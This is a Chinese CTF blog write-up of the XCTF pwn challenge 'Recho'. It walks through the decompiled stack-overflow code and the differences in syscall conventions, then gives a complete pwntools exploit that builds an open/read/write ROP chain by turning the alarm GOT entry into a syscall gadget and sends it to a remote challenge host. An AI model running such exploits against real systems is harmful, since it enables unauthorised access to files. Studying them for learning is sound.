pwn 继续Recho

好久没有更新博客了师傅们的评论都看了emem萌新会加油的~~
这是一道xctf上的pwn题Rcho
主函数的逻辑很简单就是`// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nptr; // [rsp+0h] [rbp-40h]
char buf[40]; // [rsp+10h] [rbp-30h]
int v6; // [rsp+38h] [rbp-8h]
int v7; // [rsp+3Ch] [rbp-4h]

Init(*(_QWORD *)&argc, argv, envp);
write(1, “Welcome to Recho server!\n”, 0x19uLL);
while ( read(0, &nptr, 0x10uLL) > 0 )
{
v7 = atoi(&nptr);
if ( v7 <= 15 )
v7 = 16;
v6 = read(0, buf, v7);
buf[v6] = 0;
printf("%s", buf);
}
return 0;
}`
十分的清晰的是由栈溢出的漏洞我们需要想的就是怎么能够leak出libc
还有这是一个死循环怎么退出这个循环不让我们继续输入很有意思的是还有一个地方我也是后面

这个程序在数据段竟然还有打开flag的操作那估计是系统调用了open-read-write
但是我还是百度了我了解太少emem
**int 80和syscenter采用的同样的传参顺序：eax，ebx，ecx，edx。但是syscall的传参顺序居然变成了rdi，rsi，rdx，r10，r9，r8。之前一直认为这三种方式采用的是同样的传参方式。
**
我靠真的难然乎就是调试了给大家看一个明显的图片

很明显我的栈上部署了我写的ROP链
少写了一个pop_rdi找了我半天…
逻辑就是先切函数syscall然后

fd=open(flag)
read(fd,bss,0x100);
write(1,bss,0x100);

ROP链这么构造就行了上exp

from pwn import *
import pwnlib
#context.terminal = ['tmux', 'splitw', '-h']
#p=process('./echo')
p=remote('111.198.29.45',48759)
elf=ELF('./echo')
add_ret=0x000000000040070d
pop_rdi=0x004008a3
pop_rsi_r15=0x00000000004008a1
pop_rax=0x00000000004006fc
pop_rdx = 0x00000000004006fe
payload='a'*0x38
alarm=elf.got['alarm']
payload+=p64(pop_rax)+p64(0x5)+p64(pop_rdi)+p64(alarm)
payload+=p64(add_ret)+p64(pop_rax)+p64(0x2)+p64(pop_rdi)
payload+=p64(0x601058)+p64(pop_rsi_r15)+p64(0)*2
payload+=p64(pop_rdx)+p64(0)+p64(elf.plt['alarm'])+p64(pop_rdi)
payload+=p64(0x3)+p64(pop_rsi_r15)+p64(0x601090)+p64(0)+p64(pop_rdx)+p64(0x30)
payload+=p64(elf.plt['read'])+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(0x601090)
payload+=p64(0)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['write'])
p.sendlineafter('server', str(0x1000))
#pwnlib.gdb.attach(p)
#pause()
p.send(payload)
p.shutdown('send')
p.interactive()

还是很难阿好难